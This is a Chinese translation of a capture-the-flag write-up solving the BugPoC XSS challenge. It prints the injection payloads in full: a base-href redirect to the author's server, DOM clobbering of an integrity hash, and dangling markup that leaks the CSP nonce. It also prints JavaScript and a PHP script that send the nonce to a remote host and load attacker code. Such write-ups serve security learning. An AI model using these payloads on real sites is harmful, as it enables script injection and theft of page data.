BugPoC XSS 挑战 Writeup

  • Comments Off on BugPoC XSS 挑战 Writeup
  • 18 views
  • A+

译文来源:https://www.secjuice.com/bugpoc-xss-challenge-writeup/。受个人知识所限及偏见影响,部分内容或存在过度误解曲解,望师傅们包含并提出建议,感谢。


wacky.buggywebsite.com是一款能够将一段信息制作为一种惊艳的全彩文本的web应用(彩色文字的效果如下所示...不过这并不是每个人的菜!):

wKg0C2EXNEAAwwTAABzrDvnl4702.png

为了实现这一功能,Wacky web应用还包含了另一个内部有iframeHTML标签的“frame.html”页面。该web应用将用户输入的文本放到param请求参数中。

wKg0C2EXNReAR0UyAACstK7xas042.png

不过如你所见,我并不能直接查看“frame.html”的内容,该页面需要包含在一个框架内才可以正常显示。这是由于Javascript会检查frame.html是否是在一个名为“iframe”的框架内,如果不在,它就会用上面截图中的信息覆盖当前的页面内容(页面内容是侏罗纪公园中的经典桥段“Ah ah ah, you didn't say the magic word”)。

frame.html的HTML源码截图

frame.html/?param=...查询参数的值会反射到页面的<title>标签内。这里就有可能会导致HTML/JavaScript注入。

反射的参数内容

总之,在尝试对param参数内容进行注入之前,我需要在一个iframe框架包含“frame.html”页面才行。因此,通过使用下方的payload,我就可以通过注入一个iframeHTML标签来包含该页面本身,该标签的name属性值为“iframe”:

html
/frame.html?param=</title><iframe+name="iframe"+src="/frame.html?param=ah+ah+ah..."></iframe><!--

frame.html内部加载了注入的iframe标签

完美!接下来我就可以开始注入JavaScript代码,尝试调用 alert(origin) 函数来完成这一挑战了。

但由于内容安全策略的限制,在未获取到该web应用对每次HTTP请求随机生成的nonce随机字符串的情况下,无法直接注入<script>标签让浏览器去执行JavaScript(有关内容安全策略及CSP nonce的更多信息,你可以参阅Scott Helme的CSP介绍指南:https://scotthelme.co.uk/content-security-policy-an-introduction/):

尝试在注入的iframe中插入src属性,但是并没有取得成功:

html
/frame.html?param=</title><script>alert(origin)</script>

alert(origin)被CSP拦截了

通过查找frame.html页面的源码,我发现了一些有趣的事情,这让我想起了一篇 Gareth Heyes关于在frame.html中这部分JavaScript代码的DOM Clobbering的文章(https://portswigger.net/research/dom-clobbering-strikes-back):

wKg0C2EXP3qAVSjhAABkZ3eyVMw070.png

此外,同一脚本的另一个有意思的地方是,它包含了JavaScript文件files/analytics/js/frame-analytics.js,但是却没有指定基础URI:

wKg0C2EXQCeAMy0KAACEaAEXpd0318.png

该文件包含 integrity 属性,用来检查JavaScript内容的哈希值是否与“硬编码”的哈希值 unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=一致。

所以,基本上我可以通过注入一个 <base href=""> HTMl标签来让浏览器从我的web服务器中加载“frame-analytics.js”文件(我使用我的测试域名blog.b000t.com),然后我可以尝试利用DOM Clobbering技术,通过注入一个id为“fileIntegrity”的标签和任意一个被转换为HTMLCollection对象并且可以覆盖fileIntegrity.value变量的哈希值来对fileIntegrity.value进行重写。

这样做我就能够修改integrity值来允许我的“虚假”frame-analytics.js文件内容并且尝试从这里执行JavaScript代码。所以,第一步我需要注入:

javascript
<base href='//blog.b000t.com'>

紧接着是:

javascript
<textarea id='fileIntegrity'>hash-value</textarea>

你可以使用下方类似的命令通过openssl的命令行生成SRI哈希值:

sh
cat frame-analytics.js | openssl dgst -sha256 -binary | openssl base64 -A

在我的案例中,注入的payload变成了这样:

javascript
</title><base href='//blog.b000t.com'><textarea id='fileIntegrity'>KtpYtKZPdA1nxdIyn2gcsBgZPKyhF+Smemo/SjahoLk=</textarea>

接下来,在files/analytics/js/frame-analytics.js内部,我可以尝试执行一些诸如console.log("ok")这样的JavaScript。让我们来试一试:

从“虚假”的files/analytics/js/frame-analytics.js执行的console.log

现在我能够从我的远程web服务器中加载files/analytics/js/frame-analytics.js,并且还可以在其中包含JavaScript代码!

但现在的问题是,“frame-analytics.js”被加载在一个iframe标签内,该标签的sandbox属性配置了allow-scripts allow-same-origin选项。要想执行alert JavaScript函数的话,我需要配置allow-modal选项,并且如果我尝试将console.log("ok")替换成alert(origin)的话就会出现这种结果:

alert(origin)被iframe沙盒拦截了

好了,从这里开始,我把所有的利用过程都复杂化了一些(和往常一样)。在这里,你可以直接从顶部的窗口对象中调用alert,例如:window.top.alert(origin)。出于某种原因,我并没有这样做,我开始寻找一种可以窃取nonce随机字符串以绕过CSP的方法

我的思路就是在iframe沙盒外创建一个新的<script>元素(通过利用诸如window.top.document.createElement()的方法),但由于在没有获得随机nonce字符串的情况下会阻止执行行内JavaScript代码,这种做法就会被内容安全策略给拦截。所以我需要利用一个叫做“Dungling Markup Attack(Dungling标记攻击)”的技术来从HTML代码中“窃取”nonce随机字符串(https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)。

Dangling markup是一种通过使用图像等资源将数据发送到攻击者控制的远程位置处,在没有脚本的情况下窃取页面内容的技术。当反射型XSS不起作用或被内容安全策略(CSP)拦截时,它就会发挥作用。其原理是,当你向诸如image标签的src属性这种未完成状态的部分HTML进行注入时,页面中的其他标签会关闭该属性,不过也会将其中的数据发送到远程服务器上。

我想要通过添加一个带有未关闭属性(asd)的新HTML标签(pippo)来修改我的注入payload:

javascript
</title><base href='//blog.b000t.com'><textarea id="fileIntegrity">hash</textarea><pippo asd='

注入< pippo>HTML标签

正如你从上方截图中看到的,注入的(未关闭的)属性“asd”现在已经取得了相邻的<script>标签中nonce属性的一部分。现在nonce值已经成为一个空值的属性名称。我想在我的“虚假”的frame-analytics.js文件中写入一段JavaScript代码,以解析该参数名,并将其作为nonce属性来创建一个全新的<script>标签去执行alert(origin)

javascript
var guessednonce = window.top.document.getElementsByTagName("iframe")[0].contentDocument.getElementsByTagName("pippo")[0].attributes[1].name.substring(0,12)
script = document.createElement('script');
script.setAttribute('src', 'asd.php?nonce='+guessednonce);
document.body.appendChild(script);

上述JavaScript代码中的第一行,试图通过从window.top.document对象中选取iframe,然后从其中选择pippo元素,并获取属性名称列表,从注入的pippo HTML标签中选择nonce值:

从< pippo>属性列表中选取nonce随机值

现在我拿到了nonce值!上述JavaScript的第二、三和第四行代码创建了一个新的<script>元素,其中包括来自我web服务器的外部JavaScript,在nonce参数中传递nonce值asd.php?nonce='+guessednonce。实际上,在我web服务器上的远程脚本是一个PHP脚本。让我们试着重新加载一下:

wKg0C2EXVgOAEXo9AABujEiwhw041.png

如你所见,浏览器尝试从我的远程web服务器中获取并包含“asd.php”的javascript。现在我需要创建一个能够从$_GET["nonce"]获取到nonce值的“asd.php”脚本,并且用它来创建一个新的带有正确nonce属性的<script>元素。如下所示:

```php
<?php
header('Content-Type: application/javascript');

echo "
script = document.createElement('script');
script.setAttribute('src', '//blog.b000t.com/end.js');
script.setAttribute('nonce', '".$_GET["nonce"]."');
window.top.document.getElementsByTagName('iframe')[0].contentDocument.body.appendChild(script);
";

?>
```

该脚本创建了一个新的带有已窃取到的随机nonce作为nonce属性值的<script>元素,并且将其插入到了第一个iframe元素中。这样一来,我应该就能够执行从我的网站加载的“end.js”脚本中的任何JavaScript代码了,并且得到了web应用内容安全策略nonce随机字符串的允许:

wKg0C2EXWGmAHwJGAACAWGU8w1E165.png

Ok,接下来我的浏览器就会去加载位于我远程web服务器中的“end.js”。所以,我终于可以将alert(origin)放到脚本中去执行它了:

wKg0C2EXWOCAd0FPAAB01GLdC8190.png

wKg0C2EXWP6AIsSNAAByavZPcjc654.png

完成!